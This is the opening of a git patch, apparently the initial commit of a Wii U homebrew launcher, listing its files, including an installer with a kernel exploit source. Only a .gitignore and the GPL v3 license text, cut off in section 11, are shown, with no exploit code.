From 614771d8692827b417e5a4664fec83b48f053607 Mon Sep 17 00:00:00 2001 From: dimok789 Date: Mon, 29 Feb 2016 22:28:18 +0100 Subject: [PATCH] initial commit --- .gitignore | 13 + LICENSE | 674 ++++++ Makefile | 231 ++ data/fonts/font.ttf | Bin 0 -> 55620 bytes data/images/button.png | Bin 0 -> 11359 bytes data/images/homebrewButton.png | Bin 0 -> 9713 bytes data/images/launchMenuBox.png | Bin 0 -> 23417 bytes data/images/leftArrow.png | Bin 0 -> 17550 bytes data/images/player1_point.png | Bin 0 -> 2044 bytes data/images/player2_point.png | Bin 0 -> 2128 bytes data/images/player3_point.png | Bin 0 -> 2154 bytes data/images/player4_point.png | Bin 0 -> 2079 bytes data/images/progressWindow.png | Bin 0 -> 14054 bytes data/images/rightArrow.png | Bin 0 -> 17341 bytes data/images2/button.png | Bin 0 -> 9885 bytes data/images2/homebrewButton.png | Bin 0 -> 72389 bytes data/images2/launchMenuBox.png | Bin 0 -> 28022 bytes data/images2/leftArrow.png | Bin 0 -> 13077 bytes data/images2/player1_point.png | Bin 0 -> 2044 bytes data/images2/player2_point.png | Bin 0 -> 2128 bytes data/images2/player3_point.png | Bin 0 -> 2154 bytes data/images2/player4_point.png | Bin 0 -> 2079 bytes data/images2/progressWindow.png | Bin 0 -> 6841 bytes data/images2/rightArrow.png | Bin 0 -> 15692 bytes data/sounds/bgMusic.ogg | Bin 0 -> 198557 bytes data/sounds/button_click.mp3 | Bin 0 -> 5433 bytes filelist.sh | 83 + installer/Makefile | 72 + installer/crt0.S | 8 + installer/elf_abi.h | 591 +++++ installer/kernel_patches.S | 207 ++ installer/kexploit.c | 546 +++++ installer/kexploit.h | 91 + installer/launcher.c | 413 ++++ installer/logger.c | 74 + installer/logger.h | 86 + installer/structs.h | 32 + installer/types.h | 22 + sd_loader/Makefile | 178 ++ sd_loader/src/elf_abi.h | 591 +++++ sd_loader/src/entry.c | 304 +++ sd_loader/src/kernel_hooks.S | 29 + sd_loader/src/link.ld | 22 + src/Application.cpp | 200 ++ src/Application.h | 74 + src/common/common.h | 37 + src/common/fs_defs.h | 62 + src/common/os_defs.h | 25 + src/common/types.h | 7 + src/dynamic_libs/ax_functions.c | 74 + src/dynamic_libs/ax_functions.h | 59 + src/dynamic_libs/fs_functions.c | 120 + src/dynamic_libs/fs_functions.h | 87 + src/dynamic_libs/gx2_functions.c | 162 ++ src/dynamic_libs/gx2_functions.h | 205 ++ src/dynamic_libs/gx2_types.h | 699 ++++++ src/dynamic_libs/os_functions.c | 148 ++ src/dynamic_libs/os_functions.h | 119 + src/dynamic_libs/padscore_functions.c | 50 + src/dynamic_libs/padscore_functions.h | 122 + src/dynamic_libs/socket_functions.c | 84 + src/dynamic_libs/socket_functions.h | 99 + src/dynamic_libs/sys_functions.c | 40 + src/dynamic_libs/sys_functions.h | 42 + src/dynamic_libs/vpad_functions.c | 37 + src/dynamic_libs/vpad_functions.h | 101 + src/entry.c | 31 + src/fs/CFile.cpp | 197 ++ src/fs/CFile.hpp | 57 + src/fs/DirList.cpp | 223 ++ src/fs/DirList.h | 95 + src/fs/fs_utils.c | 182 ++ src/fs/fs_utils.h | 23 + src/fs/sd_fat_devoptab.c | 1019 ++++++++ src/fs/sd_fat_devoptab.h | 38 + src/gui/FreeTypeGX.cpp | 608 +++++ src/gui/FreeTypeGX.h | 155 ++ src/gui/Gui.h | 30 + src/gui/GuiButton.cpp | 290 +++ src/gui/GuiButton.h | 117 + src/gui/GuiController.h | 78 + src/gui/GuiElement.cpp | 342 +++ src/gui/GuiElement.h | 518 ++++ src/gui/GuiFrame.cpp | 214 ++ src/gui/GuiFrame.h | 96 + src/gui/GuiImage.cpp | 289 +++ src/gui/GuiImage.h | 110 + src/gui/GuiImageAsync.cpp | 172 ++ src/gui/GuiImageAsync.h | 58 + src/gui/GuiImageData.cpp | 207 ++ src/gui/GuiImageData.h | 67 + src/gui/GuiParticleImage.cpp | 128 + src/gui/GuiParticleImage.h | 45 + src/gui/GuiSound.cpp | 193 ++ src/gui/GuiSound.h | 60 + src/gui/GuiText.cpp | 600 +++++ src/gui/GuiText.h | 139 ++ src/gui/GuiTrigger.cpp | 174 ++ src/gui/GuiTrigger.h | 101 + src/gui/VPadController.h | 62 + src/gui/WPadController.h | 179 ++ src/gui/sigslot.h | 2731 ++++++++++++++++++++++ src/link.ld | 40 + src/main.cpp | 69 + src/main.h | 19 + src/menu/HomebrewLaunchWindow.cpp | 192 ++ src/menu/HomebrewLaunchWindow.h | 70 + src/menu/HomebrewLoader.cpp | 73 + src/menu/HomebrewLoader.h | 53 + src/menu/HomebrewWindow.cpp | 330 +++ src/menu/HomebrewWindow.h | 77 + src/menu/MainWindow.cpp | 184 ++ src/menu/MainWindow.h | 132 ++ src/menu/ProgressWindow.cpp | 67 + src/menu/ProgressWindow.h | 42 + src/menu/TcpReceiver.cpp | 215 ++ src/menu/TcpReceiver.h | 43 + src/resources/Resources.cpp | 189 ++ src/resources/Resources.h | 34 + src/resources/filelist.h | 80 + src/sounds/BufferCircle.cpp | 142 ++ src/sounds/BufferCircle.hpp | 86 + src/sounds/Mp3Decoder.cpp | 217 ++ src/sounds/Mp3Decoder.hpp | 47 + src/sounds/OggDecoder.cpp | 138 ++ src/sounds/OggDecoder.hpp | 43 + src/sounds/SoundDecoder.cpp | 225 ++ src/sounds/SoundDecoder.hpp | 105 + src/sounds/SoundHandler.cpp | 338 +++ src/sounds/SoundHandler.hpp | 78 + src/sounds/Voice.h | 168 ++ src/sounds/WavDecoder.cpp | 154 ++ src/sounds/WavDecoder.hpp | 71 + src/system/AsyncDeleter.cpp | 71 + src/system/AsyncDeleter.h | 64 + src/system/CMutex.h | 69 + src/system/CThread.h | 120 + src/system/exception_handler.c | 168 ++ src/system/exception_handler.h | 14 + src/system/memory.c | 198 ++ src/system/memory.h | 42 + src/utils/HomebrewXML.cpp | 158 ++ src/utils/HomebrewXML.h | 36 + src/utils/StringTools.cpp | 207 ++ src/utils/StringTools.h | 78 + src/utils/logger.c | 89 + src/utils/logger.h | 26 + src/utils/tinyxml.cpp | 1895 +++++++++++++++ src/utils/tinyxml.h | 1807 ++++++++++++++ src/utils/tinyxmlerror.cpp | 52 + src/utils/tinyxmlparser.cpp | 1639 +++++++++++++ src/utils/utils.h | 47 + src/video/CVideo.cpp | 290 +++ src/video/CVideo.h | 202 ++ src/video/shaders/ColorShader.cpp | 167 ++ src/video/shaders/ColorShader.h | 100 + src/video/shaders/FXAAShader.cpp | 230 ++ src/video/shaders/FXAAShader.h | 86 + src/video/shaders/FetchShader.h | 58 + src/video/shaders/PixelShader.h | 150 ++ src/video/shaders/Shader.h | 74 + src/video/shaders/Shader3D.cpp | 266 +++ src/video/shaders/Shader3D.h | 119 + src/video/shaders/ShaderFractalColor.cpp | 373 +++ src/video/shaders/ShaderFractalColor.h | 124 + src/video/shaders/Texture2DShader.cpp | 271 +++ src/video/shaders/Texture2DShader.h | 112 + src/video/shaders/VertexShader.h | 178 ++ 168 files changed, 29849 insertions(+) create mode 100644 .gitignore create mode 100644 LICENSE create mode 100644 Makefile create mode 100644 data/fonts/font.ttf create mode 100644 data/images/button.png create mode 100644 data/images/homebrewButton.png create mode 100644 data/images/launchMenuBox.png create mode 100644 data/images/leftArrow.png create mode 100644 data/images/player1_point.png create mode 100644 data/images/player2_point.png create mode 100644 data/images/player3_point.png create mode 100644 data/images/player4_point.png create mode 100644 data/images/progressWindow.png create mode 100644 data/images/rightArrow.png create mode 100644 data/images2/button.png create mode 100644 data/images2/homebrewButton.png create mode 100644 data/images2/launchMenuBox.png create mode 100644 data/images2/leftArrow.png create mode 100644 data/images2/player1_point.png create mode 100644 data/images2/player2_point.png create mode 100644 data/images2/player3_point.png create mode 100644 data/images2/player4_point.png create mode 100644 data/images2/progressWindow.png create mode 100644 data/images2/rightArrow.png create mode 100644 data/sounds/bgMusic.ogg create mode 100644 data/sounds/button_click.mp3 create mode 100644 filelist.sh create mode 100644 installer/Makefile create mode 100644 installer/crt0.S create mode 100644 installer/elf_abi.h create mode 100644 installer/kernel_patches.S create mode 100644 installer/kexploit.c create mode 100644 installer/kexploit.h create mode 100644 installer/launcher.c create mode 100644 installer/logger.c create mode 100644 installer/logger.h create mode 100644 installer/structs.h create mode 100644 installer/types.h create mode 100644 sd_loader/Makefile create mode 100644 sd_loader/src/elf_abi.h create mode 100644 sd_loader/src/entry.c create mode 100644 sd_loader/src/kernel_hooks.S create mode 100644 sd_loader/src/link.ld create mode 100644 src/Application.cpp create mode 100644 src/Application.h create mode 100644 src/common/common.h create mode 100644 src/common/fs_defs.h create mode 100644 src/common/os_defs.h create mode 100644 src/common/types.h create mode 100644 src/dynamic_libs/ax_functions.c create mode 100644 src/dynamic_libs/ax_functions.h create mode 100644 src/dynamic_libs/fs_functions.c create mode 100644 src/dynamic_libs/fs_functions.h create mode 100644 src/dynamic_libs/gx2_functions.c create mode 100644 src/dynamic_libs/gx2_functions.h create mode 100644 src/dynamic_libs/gx2_types.h create mode 100644 src/dynamic_libs/os_functions.c create mode 100644 src/dynamic_libs/os_functions.h create mode 100644 src/dynamic_libs/padscore_functions.c create mode 100644 src/dynamic_libs/padscore_functions.h create mode 100644 src/dynamic_libs/socket_functions.c create mode 100644 src/dynamic_libs/socket_functions.h create mode 100644 src/dynamic_libs/sys_functions.c create mode 100644 src/dynamic_libs/sys_functions.h create mode 100644 src/dynamic_libs/vpad_functions.c create mode 100644 src/dynamic_libs/vpad_functions.h create mode 100644 src/entry.c create mode 100644 src/fs/CFile.cpp create mode 100644 src/fs/CFile.hpp create mode 100644 src/fs/DirList.cpp create mode 100644 src/fs/DirList.h create mode 100644 src/fs/fs_utils.c create mode 100644 src/fs/fs_utils.h create mode 100644 src/fs/sd_fat_devoptab.c create mode 100644 src/fs/sd_fat_devoptab.h create mode 100644 src/gui/FreeTypeGX.cpp create mode 100644 src/gui/FreeTypeGX.h create mode 100644 src/gui/Gui.h create mode 100644 src/gui/GuiButton.cpp create mode 100644 src/gui/GuiButton.h create mode 100644 src/gui/GuiController.h create mode 100644 src/gui/GuiElement.cpp create mode 100644 src/gui/GuiElement.h create mode 100644 src/gui/GuiFrame.cpp create mode 100644 src/gui/GuiFrame.h create mode 100644 src/gui/GuiImage.cpp create mode 100644 src/gui/GuiImage.h create mode 100644 src/gui/GuiImageAsync.cpp create mode 100644 src/gui/GuiImageAsync.h create mode 100644 src/gui/GuiImageData.cpp create mode 100644 src/gui/GuiImageData.h create mode 100644 src/gui/GuiParticleImage.cpp create mode 100644 src/gui/GuiParticleImage.h create mode 100644 src/gui/GuiSound.cpp create mode 100644 src/gui/GuiSound.h create mode 100644 src/gui/GuiText.cpp create mode 100644 src/gui/GuiText.h create mode 100644 src/gui/GuiTrigger.cpp create mode 100644 src/gui/GuiTrigger.h create mode 100644 src/gui/VPadController.h create mode 100644 src/gui/WPadController.h create mode 100644 src/gui/sigslot.h create mode 100644 src/link.ld create mode 100644 src/main.cpp create mode 100644 src/main.h create mode 100644 src/menu/HomebrewLaunchWindow.cpp create mode 100644 src/menu/HomebrewLaunchWindow.h create mode 100644 src/menu/HomebrewLoader.cpp create mode 100644 src/menu/HomebrewLoader.h create mode 100644 src/menu/HomebrewWindow.cpp create mode 100644 src/menu/HomebrewWindow.h create mode 100644 src/menu/MainWindow.cpp create mode 100644 src/menu/MainWindow.h create mode 100644 src/menu/ProgressWindow.cpp create mode 100644 src/menu/ProgressWindow.h create mode 100644 src/menu/TcpReceiver.cpp create mode 100644 src/menu/TcpReceiver.h create mode 100644 src/resources/Resources.cpp create mode 100644 src/resources/Resources.h create mode 100644 src/resources/filelist.h create mode 100644 src/sounds/BufferCircle.cpp create mode 100644 src/sounds/BufferCircle.hpp create mode 100644 src/sounds/Mp3Decoder.cpp create mode 100644 src/sounds/Mp3Decoder.hpp create mode 100644 src/sounds/OggDecoder.cpp create mode 100644 src/sounds/OggDecoder.hpp create mode 100644 src/sounds/SoundDecoder.cpp create mode 100644 src/sounds/SoundDecoder.hpp create mode 100644 src/sounds/SoundHandler.cpp create mode 100644 src/sounds/SoundHandler.hpp create mode 100644 src/sounds/Voice.h create mode 100644 src/sounds/WavDecoder.cpp create mode 100644 src/sounds/WavDecoder.hpp create mode 100644 src/system/AsyncDeleter.cpp create mode 100644 src/system/AsyncDeleter.h create mode 100644 src/system/CMutex.h create mode 100644 src/system/CThread.h create mode 100644 src/system/exception_handler.c create mode 100644 src/system/exception_handler.h create mode 100644 src/system/memory.c create mode 100644 src/system/memory.h create mode 100644 src/utils/HomebrewXML.cpp create mode 100644 src/utils/HomebrewXML.h create mode 100644 src/utils/StringTools.cpp create mode 100644 src/utils/StringTools.h create mode 100644 src/utils/logger.c create mode 100644 src/utils/logger.h create mode 100644 src/utils/tinyxml.cpp create mode 100644 src/utils/tinyxml.h create mode 100644 src/utils/tinyxmlerror.cpp create mode 100644 src/utils/tinyxmlparser.cpp create mode 100644 src/utils/utils.h create mode 100644 src/video/CVideo.cpp create mode 100644 src/video/CVideo.h create mode 100644 src/video/shaders/ColorShader.cpp create mode 100644 src/video/shaders/ColorShader.h create mode 100644 src/video/shaders/FXAAShader.cpp create mode 100644 src/video/shaders/FXAAShader.h create mode 100644 src/video/shaders/FetchShader.h create mode 100644 src/video/shaders/PixelShader.h create mode 100644 src/video/shaders/Shader.h create mode 100644 src/video/shaders/Shader3D.cpp create mode 100644 src/video/shaders/Shader3D.h create mode 100644 src/video/shaders/ShaderFractalColor.cpp create mode 100644 src/video/shaders/ShaderFractalColor.h create mode 100644 src/video/shaders/Texture2DShader.cpp create mode 100644 src/video/shaders/Texture2DShader.h create mode 100644 src/video/shaders/VertexShader.h diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ec3c33c --- /dev/null +++ b/.gitignore @@ -0,0 +1,13 @@ +/fs/build +/installer/bin +/loader/build +/menu/build +/server/logs/*.txt +/build +/*.elf +/fs/*.elf +/loader/*.elf +/sd_loader/build +/sd_loader/*.elf +/udp_debug_reader/obj +/udp_debug_reader/GeckoLog.txt \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..9cecc1d --- /dev/null +++ b/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, 